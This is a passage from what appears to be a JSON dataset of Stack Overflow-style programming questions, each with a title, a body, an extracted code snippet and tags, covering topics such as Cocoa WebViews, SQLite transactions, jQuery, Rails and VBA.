----------------> request 2 ----------------> KEY\n f(client-id 2)
g(client-id 2)\n", "security rsa pgp shared-secret"], "2170915": ["What method gets
called before a WebView is closed by owner window?", "I'm working with a webview
within a window of a Cocoa application. I would like to retrieve some values using
stringByEvaluatingJavaScriptFromString on the webview and save them before the
application shuts down. I tried using the applicationWillTerminate but by the time
I reach this method, it is too late. I was wondering if there's something built
into webview that I've missed or if anyone has an elegant solution to share.\n",
"", "objective-c cocoa webview"], "5274149": ["Set width of a custom environment",
"I'm trying to make a letter template (I don't want to use the existing one) and I
am trying to make an environment for the adress at the top. I want it to be a
certain width and located to the right part of the page, but aligned left.\nI can
not figure out how to do it. Creating custom layouts and templates overall in LaTeX
has brought me much headache.\nI tried to do something like this:\n\nBut it doesn't
work. :/\n", "\\newenvironment{head}\n{\\leftskip=2cm}\n{\\leftskip=0cm}\n",
"environments width"], "5159620": ["Really really basic Obj-C question about
passing instance variables", "Hi sorry about such a dumb question\nI am changing a
variable value depending on the index of a segmented control but then want to use
this variable in a calculation that follows; am sure this has something to do with
variable scoping?\n\n}\nHelp much appreciated!\n", "- (IBAction)calculate:
(UIButton *)button {\nif( [sSeg selectedSegmentIndex]==1){\n float s=0.5;\n
NSLog(@\"s=%f\", s);\n}\nelse if ([sSeg selectedSegmentIndex]==0)\n{\n float
s=1; \n NSLog(@\"s=%f\", s);\n}\nNSLog(@\u201ds now = %f\u201d, s);\n", "iphone
objective-c variables scoping"], "3513473": ["c#, sqlite, transactions, database
blocked", "I would like to use a transaction, because I would like to delete the
parent and all the childrens.\nI don't want to use the cascade deletion, because
the children has other childrens and not always I want to delete the childrens of
the childrens.\nSo for that, I want to use a transaction, to ensure that I delete
all the childrens of the parent and that not other user can add a new children when
the first user is deleting the parent.\nIf I try to delete only the parent, I don't
get the exception, but if I try to delete the parent and her childrens, then I get
an exception that say that the database is blocked.\nI am using the following
code:\n\nThanks.\n", "using (var scope = new
TransactionScope(TransactionScopeOption.Required, new TransactionOptions
{ IsolationLevel = System.Transactions.IsolationLevel.ReadCommitted }))\n
{\n contextEntities myContext = new contextEntities();\n\n
myContext.Clientes.Attach(paramClient);\n
myContext.Entry<Clients>(paramClient).Collection(p => p.Plants).Load();\n\n
for (int iteratorPlant = myContext.Plants.Local.Count - 1; iteratorPlant >= 0;
iteratorPlant-- )\n {\n
myContext.Entry<Plants>(myContext.Plants.Local.ElementAt<Plants>(iteratorPlant)).St
ate = System.Data.EntityState.Deleted;\n }\n\n
myContext.SaveChanges();\n scope.Complete();\n
return true;\n }\n", "c# sqlite transactions entity-framework-4.1"],
"2461897": ["Escaping ampersands in Windows batch files", "I realise that you can
escape ampersands in batch files using the hat character\ne.g.\n\nBut I'm using the
command \n\nwhich is finding all the files named '.acl' in the current directory,
or a subdirectory of the current directory.\nThe problem is, I'm finding path names
that include the '&' character (and no, they can't be renamed), and I need a way of
automatically escaping the ampersands and calling the second batch file with the
escaped path as the parameter.\n\n", "echo a ^& b\na & b\n", "windows batch
escaping"], "2746613": ["How do I change the background colour of a <label> if a
checkbox is checked, using JQuery?", "Using JQuery, is there a more efficient way
of writing this code? See below\nThe JQuery:\n\nThe HTML I'm working with:\n\nSorry
guys I'm a novice as JavaScript/JQuery\nAny help would be greatly appreciated,
Thanks\n", "$(\"#ex1\").live(\"click\", function(){\nif($
(\"#ex1\").attr(\"checked\")==true){ \n $(this).parent().removeClass(\"im-
unchecked\").addClass(\"im-checked\"); \n}\nelse if($
(\"#ex1\").attr(\"checked\")==false){ \n $(this).parent().removeClass(\"im-
checked\").addClass(\"im-unchecked\");\n}});\n\n\n$(\"#ex2\").live(\"click\",
function(){\nif($(\"#ex2\").attr(\"checked\")==true){ \n $
(this).parent().removeClass(\"im-unchecked\").addClass(\"im-checked\"); \n}\nelse
if($(\"#ex2\").attr(\"checked\")==false){ \n $(this).parent().removeClass(\"im-
checked\").addClass(\"im-unchecked\"); \n}});\n", "jquery"], "2794640": ["Link
going transparent", "I am currently building a website and as soon as I added a
link tag to a word, it becomes transparent. There are two links on the main page,
both are coded exactly the same, but one of the links is transparent? The html
passes validation and so does the css. If I add the old school html property
within the the color shows up, but the words break apart on different lines. I
know this way is obsolete, but no CSS is working right now? Help? \n", "<a>", "html
css"], "1494869": ["sessions not saving in safari on virtual host", "for some
reason Safari is not saving my sessions when on a virtual host.\nif I view this
simple code\n\nin http://test.local/test.php the hello variable always remains at
1\nbut if I view the same file using the url http://localhost/test/test.php it
saves the session and increments the hello variable.\nany ideas why?\n",
"session_start(); \nif (!isset($_SESSION['hello'])) $_SESSION['hello'] = 1; \n
else $_SESSION['hello']++; \nprint_r($_SESSION);\n", "session safari virtualhost"],
"5426152": ["Changing the HTML in a WebBrowser before it is displayed to the
user?", "I'm using a WebBrowser Control and I'd like to manipulate the HTML Code
before it gets displayed in the Control.\nFor example open Website A with following
content:\n\nI would like to change it to\n\nI know I could do that with
DocumentCompleted event and then manipulate it. But if the Website executes
JavaScript stuff which gets executed on Document ready event, it wouldn't make
sense to change it, because it has already been executed.\n", "<html>\n <body>\n
<p id=\"Text\">Hello</p>\n </body>\n</html>\n", "c# web webbrowser"], "4033939":
["How to find if a view is tapped more than 2 times within certain time period in
cocos 2D", "I am developing a game in cocos 2D. In my game I need to tap my view a
certain number of times. If the user attempts to tap the view beyond the limit, it
should display an alert. \nPlease can someone help me to find number of taps on the
view. Most important is number of taps is not simultaneously. In the Total game the
user can tap only a certain number of times, after which they should not tap the
view. \n", "", "ios objective-c cocos2d-iphone touch"], "851884": ["Exporting,
Appending/Prepending data and text into files (Mathematica)", "I am exporting data
from the table \"mydata1\" in a CSV format into \"file1.dat\". Below is the
mathematica code:\n\nNow my \"file1.dat\" looks like this:\n\nNow I have another
set of data from the table \"mydata2\"(Code given below).I want to able to store
the data from this table \"mydata2\" into same file \"file1.dat\".But before I do
that I need to write a text in the file\"file1.dat\" for eg\"Data below are from
mydata2\".\nNote both data from both tables needed to be exported in CSV format.\n\
nin the end my data file \"file1.dat\" should look like this\n\nIf you observe the
final data file \"file1.dat\" should have data from table\"mydata2\" below the data
from\"mydata1\" and in between there is some text written.\nNote: I am willing to
export the data with the extension TXT but in CSV format For example:\n\nI have
used the \"PutAppend\" but it dosen't give me the desired results.Either I am not
using it properly or perhaps it is not the keyword for my kind of problem. \nI have
lot of question regarding exporting but I wouldn't ask all of this now since I
don't want to confuse you all.\nRegards,\nProj_Uk\n", "mydata1=TableForm[Flatten[\
nTable[Table[Table[\n {xcord, ycord, zcord}, {xcord, 0,50,10}],\n
{ycord,0,50,10}], {zcord, 50, 100, 10}], 2]];\n\
nExport[\"file1.dat\",mydata1,\"CSV\"]\n", "text data mathematica export append"],
"5645786": ["Using fork in Ruby on Rails for creating parallel process", "I have a
Rails 3 app in production with Passenger on Apache. I have this code:\n\nIn
localhost, when the app creates a billing, after it is saved, the app sends an
email to the user, everything works fine. But in the server, after the app creates
a billing, it throws me errors related to the gem MySQL2, errors like \"MySQL
server has gone away\" or \"Connection lost\", and the app doesn't send the emails.
If I remove the fork it works fine, but I want to use fork, I want to create a
separated process because it takes to long when sending emails. What could be the
problem?\n", "class Billing < ActiveRecord::Base\n after_save :sendEmails\n\n
private\n def sendEmails\n fork do \n
UserMailer.clientBilling(self.user, self).deliver\n end\n end\nend\n",
"mysql ruby ruby-on-rails-3 fork mysql2"], "4192670": ["Scaling images in IE", "My
page contains an image like in example below. Width of the image depends on
browsers width and height is being changed authomaticly (something like ).\nThis
image looks nice after resizing in all browsers except IE (I've tested in IE7 and
IE6). In IE image looks ugly. Some parts are thicker than should be and some parts
are thinner. \n\nI'm almost sure that it is due to IE doesn't use smoothing. But I
wonder how to solve this unpleasent problem?\n\nI dont have ie7 but this code
should work fine there. But how to fix it for ie6?\n\nFrom flickr devs:\n\nIE 6 is
a riskier proposition, but can\n show improved image resizing when the\n
AlphaImageLoader CSS filter is\n applied, the same filter commonly used\n for
properly displaying PNGs with\n alpha transparency. For example,\n
filter:progid:DXImageTransform.Microsoft.AlphaImageLoader\n
(src='/path/to/image.jpg',\n sizingMethod='scale');. While there is\n no
transparency to apply here, the\n resizing method applied gives a\n higher-
quality result.\n\nI cant make it work yet, actually I haven't ever used filters.
Maybe anyone can give me working code?\n", "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD
HTML 4.01 Transitional//EN\" \n\"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\
n<head>\n <style type=\"text/css\">\n img { -ms-interpolation-mode:bicubic; }\n
</style>\n</head>\n<body>\n <div style=\"width: 50%;\">\n <img src=\"pp.jpg\"
width=\"100%\">\n </div>\n</body>\n</html>\n", "internet-explorer image filter"],
"2369452": ["Interfaced function returning type of implementing class", "I am
looking to implement an interface which has a function which will return the type
of the base class without using a generic interface.
Is this possible?\n\n", "class MyClass : MyInterface<MyClass> // Would rather use
one below\n\nclass MyClass : MyInterface // Functions already know to use
MyClass\n", "c# interface generics"], "2454230": ["How robust are windows
messages?", "If i queue a message with PostMessage (and it return true) can i be
certain that eventually the window will process the message unless some
catastrophic event happen?(something which will crash the program anyway) \n", "",
"c++ winapi"], "1836537": ["Windows Task Schedule: How to disable taskeng.exe from
popping up upon task initialization?", "After a lot of fiddling around, I managed
to launch a php script through Windows 7 Task Manager that mines data from the
Twitter API every 5 minutes. The Task properties are as follows:\n\nHowever, this
launches a popup every 5 minutes, causing me to loose focus on the window that I'm
working in. In another topic, I setting the /NOCONSOLE property should fix this,
but setting the following arguments in the Task details doesn't work:\n\n",
"Program/script:\n\"C:\\Program Files\\GnuWin32\\bin\\wget.exe\"\n\nAdd arguments
(optional):\n-O - -q -t 1 http://localhost/sentimeter/mining.php\n", "windows-7
windows scheduled-tasks task-manager"], "4467484": ["How can I accurately determine
the age of a hard drive?", "Yes, if it's large, heavy, and only 65 Meg in capacity,
you can assume it's ancient. An RLL controller would positively indicate the drive
is from antiquity. What about drives that are only 3 or 4 years old? If I know
the serial number, make and model is there a public database that indicates a
manufacturing date?\nUpdate: As trite as this question might seem to some, the
hard drive I was looking at that precipitated this question had no obvious
manufacturing date stamped on it. I realize that most do. I think the answers
given are very useful to myself and others.\n", "", "hard-drive serial-number"],
"3995907": ["Rails 3 - RefineryCMS Edge", "I am using refinery cms edge version
from github for my personal blog. I have installed the blog plugin but I am having
trouble figuring out how to get the generators to work. It says i should have a
generator called but I get an error saying this generator is not installed when I
try to use it.\nCould anyone give me some advice on how these generators should
work?\nCheers\nTony\n", "refinerycms_blogs", "ruby-on-rails ruby generator
refinerycms"], "5776347": ["UIscrollView swipe gesture + UIButton finger down
effect on iOS", "I'm trying to come up with a UISCrollView in paging mode, where
each page shows an image of a product and, besides being able to swipe between
pages, I'd also like for the product image to switch to a \"down\" version of it
when a specific product/page is tapped.\nSo far I tried the following:\n1 - adding
UIButtons as the pages of the scrollview: obviously, this way I can have the images
switch to their \"Selected\" version on finger down, but the buttons, taking up the
whole page, prevent the scrollview from detecting the swipe gesture.\n2 - adding
UIVIews instead of buttons, and an UITapGestureRecognizer: this way I can tap an
image to select a product and the recognizer also lets the gesture pass on to the
scrollview, allowing for swiping too. But the problem with this approach is that I
can't switch images to their \"selected\" versions when the user touches them,
since the tap recognizer only reports UIGestureRecognizerStateEnded.\nAny ideas as
to how to get both the button up/down and scrollview swipe behaviors?\n", "", "ios
uiscrollview uibutton uigesturerecognizer"], "3155239": ["how to load extjs require
files with php?", "In the extjs 4 desktop example, app.js is looks like\n\nso is it
possible to set requires: [....] dynamically before application load with php? like
maybe with a ajax call or something?\nRegards\n", "Ext.define('MyDesktop.App', {\n
extend: 'Ext.ux.desktop.App',\n\n requires: [\n 'Ext.window.MessageBox',\
n\n 'Ext.ux.desktop.ShortcutModel',\n\n 'MyDesktop.SystemStatus',\n
'MyDesktop.VideoWindow',\n 'MyDesktop.GridWindow',\n
'MyDesktop.TabWindow',\n 'MyDesktop.AccordionWindow',\n
'MyDesktop.Notepad',\n 'MyDesktop.BogusMenuModule',\n
'MyDesktop.BogusModule',\n\n// 'MyDesktop.Blockalanche',\n
'MyDesktop.Settings'\n ],\n\n init: function() {\n // custom logic
before getXYZ methods get called...\n\n this.callParent();\n\n // now
ready...\n },\n................... \n", "javascript extjs extjs4"], "2347152":
["C++ Heap allocation and reuse of memory", "I've got this small snippet:\n\n will
return true if *a was added, false if *a not added (checks to see if *a already
exists).\nNow, I know that goto's are considered evil from lots of people, so, In
the above snippet, re-allocating new_action in every loop, without deleting it,
isn't that wrong ?\nWouldn't the following snippet be more \"sensible\" ?\n\nI'm
sorry if this seems elementary but it is something I've wondered about for some
time now. What is correct, to delete the memory and then re-allocate, or can I re-
allocate instantly ?\nEDIT:\nWould that be better ? \n\nThe caller of this function
expects a new action which has been already added to state, so therefore deletion
must take place in here.\n", "Action* newAction(Agent& a, ACTION_MODE& m)\n{\n
Action *new_action;\n do\n {\n new_action = new Action(a,m);\n }\n while (!
state->addAction(new_action));\n return new_action;\n}\n", "c++ memory-allocation
heap-memory"], "4472626": ["I need some advice about DOCX format sync(iOS) for
using google drive api. Anyone can help me?", "Using DOCX to make sync, Insert,
Download, Update works find but JPEG image header disappears. Questions is that is
it forced to get rid of on the server while converting JPEC header? \nI\u2019m
using mimeType as \"application/msword\".\n", "", "iphone ios ipad google-drive-sdk
opendocument"], "1788995": ["Entity Framework - Sorting Relationproperties", "my
question is, how do I sort related items of an entity.\nIn an invoice editing
window, I have one ComboBox displaying all customers:\nXAML:\n\nCode-behind:\n\nNow
I have a 2nd ComboBox displaying all contact persons of the selected customer. This
works fine, but the entries in this second ComboBox are unsorted / sorted by ID.\
nXAML:\n\n;\nHow do I get the list on the 2nd ComboBox sorted?\nKing regards,\nand
thanks in advance for tips/suggestions,\nNico\n", " <UserControl.Resources>\n
<CollectionViewSource x:Key=\"cvsCustomers\" \n
d:DesignSource=\"{d:DesignInstance local:Customer, CreateList=True}\" />\n...\n\n
</UserControl.Resources>\n\n<ComboBox ItemsSource=\"{Binding Source={StaticResource
cvsCustomers}}\" .../>\n", "wpf frameworks entity"], "892038": ["How to display a
notification even when a full-screen application is currently running?", "My
program needs to display a notification once in a predetermined interval. Under
Windows, Shell_NotifyIcon does the job well except that when the user is running a
full-screen application, the notification isn't shown. Though that may be the right
thing in most of the cases, in my case I need to ensure the notification can be
seen even when the user runs a program in full-screen mode (such as a video game),
but without causing the full-screen application to be minimized or otherwise
intervening with the user playing the game. Much like what Skype does when a
message is received. How to accomplish that?\nPlatforms: Windows, Mac OS X\n", "",
"c++ windows osx fullscreen notifyicon"], "4464800": ["Mount a USB disk in Linux
which was not properly unmounted in Windows", "I would like to know if there is a
software solution in Linux for the following situation:\n\nConnect a USB disk to a
Windows host (could be XP, Vista,7 , etc).\nCopy a big file to the USB disk.\
nDisconnect the USB device in an unsafe way from Windows\nConnect the USB device to
a Linux host\nTry to mount the USB device\n\nThe result is that the USB disk will
not mount in Linux, since it contains an open file.\nOne way to solve this would be
to reconnect the USB disk to Windows and dismount safely and then mount the USB
disk to Linux.\nIs there a way to solve this problem, using only Linux tools,
without involving Windows to close the USB disk properly.\n", "", "linux mount
windows usb-drive"], "944136": ["Wordpress - Restrict users in backend to certain
categories", "I'm looking to modify Wordpress with a plugin hopefully that will
restrict users edit only certain categories, posts and widgets. Does anyone know of
anything that may help?\n", "", "php wordpress user restriction"], "3975998": ["EJB
ClassNotFoundException on Glassfish v3.1", "I try to deploy a EJB module and this
ends succesfully,\nthen I use this EJB module JSF Project with @EJB annotation
everything is ok.\nThen I want to deploy the JSF project but I take ClassNotFound
exception .\nand I gave the EJB project jar my project build path.\n\nCaused by:
java.lang.ClassNotFoundException: com.cetin.session.EJBBean\n at
org.glassfish.web.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1518)\n
at
org.glassfish.web.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1368)\n
... 65 more\n", "Caused by: java.lang.NoClassDefFoundError:
Lcom/cetin/session/EJBBean;\nat java.lang.Class.getDeclaredFields0(Native Method)\
nat java.lang.Class.privateGetDeclaredFields(Class.java:2291)\nat
java.lang.Class.getDeclaredFields(Class.java:1743)\nat
com.sun.faces.application.annotation.ManagedBeanConfigHandler.collectAnnotatedField
s(ManagedBeanConfigHandler.java:246)\nat
com.sun.faces.application.annotation.ManagedBeanConfigHandler.getBeanInfo(ManagedBe
anConfigHandler.java:155)\nat
com.sun.faces.application.annotation.ManagedBeanConfigHandler.process(ManagedBeanCo
nfigHandler.java:141)\nat

com.sun.faces.application.annotation.ManagedBeanConfigHandler.push(ManagedBeanConfi
gHandler.java:127)\nat
com.sun.faces.application.annotation.AnnotationManager.applyConfigAnnotations(Annot
ationManager.java:200)\nat
com.sun.faces.config.processor.AbstractConfigProcessor.processAnnotations(AbstractC
onfigProcessor.java:326)\nat
com.sun.faces.config.processor.ManagedBeanConfigProcessor.process(ManagedBeanConfig
Processor.java:244)\nat
com.sun.faces.config.processor.AbstractConfigProcessor.invokeNext(AbstractConfigPro
cessor.java:114)\nat
com.sun.faces.config.processor.ValidatorConfigProcessor.process(ValidatorConfigProc
essor.java:120)\nat
com.sun.faces.config.processor.AbstractConfigProcessor.invokeNext(AbstractConfigPro
cessor.java:114)\nat
com.sun.faces.config.processor.ConverterConfigProcessor.process(ConverterConfigProc
essor.java:126)\nat
com.sun.faces.config.processor.AbstractConfigProcessor.invokeNext(AbstractConfigPro
cessor.java:114)\nat
com.sun.faces.config.processor.ComponentConfigProcessor.process(ComponentConfigProc
essor.java:117)\nat
com.sun.faces.config.processor.AbstractConfigProcessor.invokeNext(AbstractConfigPro
cessor.java:114)\nat
com.sun.faces.config.processor.ApplicationConfigProcessor.process(ApplicationConfig
Processor.java:337)\nat
com.sun.faces.config.processor.AbstractConfigProcessor.invokeNext(AbstractConfigPro
cessor.java:114)\nat
com.sun.faces.config.processor.LifecycleConfigProcessor.process(LifecycleConfigProc
essor.java:116)\nat
com.sun.faces.config.processor.AbstractConfigProcessor.invokeNext(AbstractConfigPro
cessor.java:114)\nat
com.sun.faces.config.processor.FactoryConfigProcessor.process(FactoryConfigProcesso
r.java:222)\nat
com.sun.faces.config.ConfigManager.initialize(ConfigManager.java:360)\nat
com.sun.faces.config.ConfigureListener.contextInitialized(ConfigureListener.java:22
5)\n... 41 more\n", "jsf-2 ejb-3.0"], "676890": ["Python MDP Policy", "I'm trying
to implement a 4 dimensional race-car problem using a famous MDP library for
python.\nWe have a race-car in a 2 dimensional track.\nWhen I say 4 dimensional
problem, I mean that each STATE is (x,y,vx,vy), meaning: position (x,y) and SPEED
(vx,vy). SPEED is either 0 or 1 (for each axis), so the number of states is finite
and small.\nThere's a starting state, and one or more goal states.\nWhen you hit
a \"wall\", you return to the initial state.\nSince I want to encourage a solution
with a few steps as possible, each passable block has a \"-1\" reward, a wall
has \"NONE\" (like the GridMDP example), and the goal has \"0\".\nAn ACTION is 2
dimensional (a,b), meaning acceleration for axis x and for axis y accordingly. The
actions are limited. The action list is finite and small and is:\n\nI built a
class, FourDimMDPClass that inherits from the MDP class, and makes the appropriate
changes (similiar to what they did in the GridMDP class at the link above)\nTo make
things easy for now, state transition is deterministic. Meaning, the T function
returns the one desired state with probability 1 (or the starting state, if you hit
a wall).\nI solved the MDP using the provided value_iteration method, and then
tried to get the right policy using best_policy method.\nMy problem is this:\nFor
some reason, the returned policy is total nonsense.\nThere is one constant action
that is returned for ALL states. This action is simply the first action in the
action list.\nWhen I change the order of the action list, the new first action is
always returned.\nThis is what happens with a very simple and small track.\nI've
been trying to debug this many many hours now, with no progress.\nI tried looking
at all the values passed to the MDP mechanism, and they seem fine.\nHelp will be
much appreciated.\nAlex\nP.S.\nRaw data:\n\nMain functions:\nT gets a state and an
action, and returns the next state\n\ngo gets state, and new_state. If the route
from state to new_state is legal, it returns new_state. otherwise, returns the
initial state.\n\n", "[(0, 1), (-1, 0), (-1, 1), (0, -1), (0, 0), (1, -1), (1, 0),
(1, 1), (-1, -1)]\n", "python artificial-intelligence"], "4121606": ["Why CSS
properties do have different names for Chrome, FF, Opera?", "I want a shadow below
div called \"shadow\":\n\nDone?\nNot at all. It works just in one browser. Guess
which one. \nFor FF/Chrome I have to add not too intuitive:\n\nAnd now everything
is ok. This scheme applies to MANY CSS properties. Why?\nLuckily there's no -
webkit-border, moz-font or -ie-backgroundcolor.\nPS. Yes, not a single word about
IE. Calling THIS a browser is like comparing wheelchair to Modena cars.\nPS 2. Why
there is a logo next to Google Chrome tag below my post? Or why there are no logos
for Opera & FF?\n", "#shadow { box-shadow: 1px 1px 1px #000 };\n", "css firefox
google-chrome opera w3c"], "638696": ["VB.NET Convert Unicode 8 (UTF8) into Regular
American ASCII", "I have thing problem here is the debugging outputs\n\nshould be\
n\nI have tried solution from another similar question and it failed me.\n\nAscii
=\n\nI'm guessing I have to guess the 437.. maybe a brute force attack on all
numbers until the match of from \nReally I am trying to read a Unicode-32 (Brasil
formatted text from email (POP3). Now that I think about it could be messed up
using this function here.\nBut without this function, the body of the POP3 email
will contain maybe useless like variant of urlencode() but.. instead of it uses .\
nI wonder how to fix this.\n\nEdit:\nMy attempt at fixing the function (if it
really causes the problem? I'll never know)\nPublic Shared Function
DecodeQuotedPrintable(ByVal Message As String, Optional ByVal QuickClean As Boolean
= False) As String\n 'set up StringBuilder object with data stripped of any line
continuation tags\n Dim Msg As New StringBuilder(Message.Replace(\"=\" & vbCrLf,
vbNullString))\n\nEnd Function\n", "\"?u\
u0192n74tn5187r&key=6e6e0936c4e6c48be56a72eba8964df0\"", "vb.net utf-8 ascii pop3
quoted-printable"], "1692758": ["What is the criteria for choosing number of hidden
layers and nodes in hidden layer?", "If we have 10 eigenvectors then we can have 10
neural nodes in input layer.If we have 5 output classes then we can have 5 nodes in
output layer.But what is the criteria for choosing number of hidden layer in a MLP
and how many neural nodes in 1 hidden layer?\n", "", "machine-learning neural-
network"], "4436711": ["How do I receive notification of a new window opening?", "I
want to respond to a certain type of new window being opened by an external
application. I have some experience finding applications and windows currently
open (system wide) using some of the carbon functionality, so could theoretically
just check every few seconds. This would require getting a list of all open
windows and checking it against some list I would have to maintain, and feels very
clunky.\nHow can I get a simple, clean notification when a new window is launched?
Should I use the accessibility API? If so, what specifically am I looking for?\n",
"", "cocoa events accessibility"], "2371060": ["Creating a non-autoincrement sort
key", "Currently I have 3 values that I need to sort, in the following order:
gameDate, some-column-that-guarantees-insertion-order, team score.\nObviously, with
the second sort param as a unique key, the 3rd sort param will be ignored. So,
rather than sorting by, say, game result PK id, in the production app I created
a \"sort\" column that stores a non-unique incremented value (see query result
below), which then allows a\n\nwhere sorting by total gives me the winning (or tie-
ing) team first, so I don't have to \n\nin the application layer to generate the
weekly games report.\nSo, in order to have my sorting cake, and not maintain an
intermediary sort column, it appears that a datetime or timestamp could do the
trick; however, the catch is that I need the sort on the insertion date non-
uniquely (date value must be the same for both participant team result rows),
otherwise, it's the same as sorting on game result PK id, the 3rd sort column will
be ignored.\nWhy do I need to do this? Requirements are that the most recent game
results should be displayed last on any given game date (which sort by gameDate, PK
id does), and my own requirement is that the 3rd column sort on total is reachable
(which again, is NOT possible with a unique-key-column as the 2nd sort param).\
nProbably even now this is clear as mud ;-)\nORIGINAL\nI have a list of game
results that need to be displayed in a report, sorted by game date, followed by a
fixed sort order (i.e. cannot sort on game ID as the most recently displayed games
must display last for each date in the report) and finally by winning team score.\
nIn the current version of the app I'm using an int sort column, which, on game
result submission, is queried for and then incremented by 1 for the db insert
operation. The end result is that I can run a query like:\n\nHowever, I'd prefer
to not deal with maintaining a sort column. Yes, I can sort by gameDate and then by
game result id PK in the query, and determine winning team sort in the application
layer, doing an , but that is ugly as well ;-)\nI'm thinking maybe a DateTime, or
Timestamp (if that allows non-unique) might do the trick. Bit risky given that
MySQL does not, as I recall, handle microseconds, so the problem of 2 different
game results being submitted at the same time is a possiblity (which could cause
the game report to display incorrectly).\nAnyway, bottomline is that I need to find
a way to sort by game date and preserve insertion order so I can get the last sort
clause on team's score for the game (i.e. sort by winning team).\nIdeas
appreciated\nThanks\n", "SORT BY gameDate, sort, total DESC", "mysql sorting auto-
increment alternative"], "45745": ["how to scrollview scrolling off in iphone", "Hi
all in my application there is page in application and around 7 - 8 for input
text . when i click on perticular text field keyboard button work properly with
scrolling .\nBut when i click on my scrollview content go to above the keyboard
and that time i dont want to scroll using finger . how to disable or turn off
scroll view after click on textfield ?\nit should work on Keyboard Next button .\
nThanks in advance\n", "Register", "iphone objective-c uiscrollview scrolling
uitextfield"], "3272291": ["Waiting on Lazy Loaded objects without lockup?", "I
already have code which lazy loads scripts on request. My issue now is waiting to
execute certain code until the object becomes available. I can't use a setTimeout()
because it does not block execution.\nSo what is a good way to 'wait' for a load,
without locking the browser?\nAgain, can't use raw setTimeout().\n", "",
"javascript lazy-loading"], "3942552": ["Difference between 2 dates in seconds", "\
nPossible Duplicates:\nNumber of seconds from now() to Sunday midnight\nCalculates
difference between two dates in PHP \n\nHello All,\nIn my project, I need to
calculate the difference in seconds between two dates:\nFor Example :\n\nThen I
should get 86400 Seconds That is 24 hours. \nSimilarly For \n\nIt should return 60
Seconds.\nI read lots of questions in the with the difference between 2 minute
fields like 11:50:01 and 12:10:57\nPlease suggest some code or links.\nThanks In
advance.\n", "$firstDay = \"2011-05-12 18:20:20\";\n$secondDay = \"2011-05-13
18:20:20\";\n", "php php5"], "5112916": ["Cups without webserver", "I have a
minimal linux system and I would like to print. It seems\nthe usual approach is to
install cups.\nBut what I think is very annoying is that cups comes with its own
webserver to do the configuration. Nevertheless it seems cups is the best working
solution for printing.\n\nIs there a lightweight version of cups, which just takes
plain configuration files and provides the usual lp* stuff.\nIs it possible to
compile cups so it does not include a webserver.\nWhy do they think it is a good
idea to install a webserver to configure a printserver?\n\n", "", "linux printing
webserver cups"], "5140654": ["How to publish an android app new license key?",
"I'm finally ready to publish my first app. I went in to do the paid version and it
said I need to add some code to my binary. I have no idea where that is. Here is
what it says on the page (the dev guide seems to be out of date for this new
method):\n\n", "SERVICES & APIS\nLICENSING & IN-APP BILLING\nLicensing allows you
to prevent unauthorized distribution of your app. It can also be used to verify in-
app billing purchases. Learn more about licensing.\n\nYOUR LICENSE KEY FOR THIS
APPLICATION\nBase64-encoded RSA public key to include in your binary. Please remove
any spaces.\n\n\"a bunch of random numbers and letters\"\n", "android licensing
publishing"], "1283043": ["Different item switching", "there is a tabbar which has
2 items: item1 and item2. These items always show.\nClick item1, enter
initialization view \u2014\u2014 view11 page, click on the button on the view11
into view12,(may be a series of operations to other view, here for example for view
view12);\nThen, click item2, enter is initialization view \u2014\u2014 view22 page,
click on the button on the view22 into view22, (may be a series of operations to
other view, here for example for view view22);\nand then, click item1, the view
view12 was show , not initialize page view11,\nClick on a item1 again, now can
enter to initialize page view11,\nHow to convert between the items, click an item
can enter the initialization page view?\nMy English is so poor,I do not kown
whether you can understand my mean or not, if you are able to read/write Chinese,I
hope you can visit here by links: http://www.devdiv.com/forum.php?
mod=viewthread&tid=132224&pid=775124&page=1&extra=#pid775124;\nthanks.\nwhite\n",
"", "click switch-statement uitabbar items"], "4237387": ["RestKit 0.20 nested
Object mapping (path to object tree different)", "I got a problem with mapping a
nested object value.\nI got two objects with the following properties:\na) \n\nb) \
n\n..so a Profile contains an Input object. When I mapp the objects with RestKit
(0.20) I get sth. like this:\n\nWhat I wanna achieve is:\n\nSo I don't want to
map \"Input\" but just the Input.value. Is that even possible? \nAt the moment my
code looks like this:\n\nEDIT: (solved)\nOk I solved it. Hope it's the way people
should do it. You can directly address from within the dictionary.\n\n", "class
Input\n@property NSString value;\n@property NSString title;\n", "ios objective-c
json restkit restkit-0.20"], "4100272": ["jquery .each produces 'undefined'
whenever .data is used on the elements returned", "I'm trying to process all select
elements with a specific attribute set.\nI've got the loop working to pick up the
element, but whenever I try to find the value of its other attributes I get error
messages.\nHere is the loop:\n\nIn the loop the first alert works, but the second
produces:\n\nTypeError: 'undefined' is not a function (evaluating\n
'sel.data('hmUrl')')\n\nIf I use the Safari console I can get the select object,
put it in a variable, and interrogate its attributes without issue.\nIt seems that
the is having an effect on the variable contents - but I can't understand what.\
nUsing JQuery 1.7.1\nUPDATE:\nJust discovered that if I change the loop so that it
explicitly gets the element again, it all works:\n\nIs this the correct solution?\
nCan I infer from this that the element passed into the loop by .each hasn't been
'processed' by jquery, and that I have to pull it myself via $(...) so that jquery
does its stuff to it - this doesn't feel right - but its working.\n", "data-",
"jquery dom iteration jquery-each"], "5478972": ["Tools to generate JavaDoc in DOC
or RTF format?", "Are there any free tools available that can generate JavaDoc in
or or (I can live with pdf too) format rather than HTML??\nI am using NetBeans
and it generates a very neat and clean javadoc as html and css, but I want to put
them in an MS Word document. It has approx 50 html documents, its not feasible to
copy-paste it on document file, also if I copy-paste it than I lost the formatting
created throughh CSS by NetBeans. Any Solutions? Plugins? Software?\n", ".doc",
"javadoc rtf .doc"], "3429070": ["How do I Embeded an Chart in a Specific Cell in a
table in MS Word with VBA", "I am trying to embeded a chart in a specific cell in a
table. The only way I have been able to get it to work is using selection.cut and
paste. This doesn't work after second and third run. This what I have so far:\n\
nThank you,\nKevin\n", " Dim data1 As Variant\ndata1 = InputBox(\"What was the
Moving Water damage value (enter as 0.0 - 1.0).\")\n\nDim data2 As Variant\ndata2 =
InputBox(\"What was the Settlement damage value (enter as 0.0 - 1.0).\")\n\nDim
data3 As Variant\ndata3 = InputBox(\"What was the Pre-Exisiting damage value (enter
as 0.0 - 1.0).\")\n\n\nDim i As Integer\n\ni = ActiveDocument.Tables.Count\ni = i +
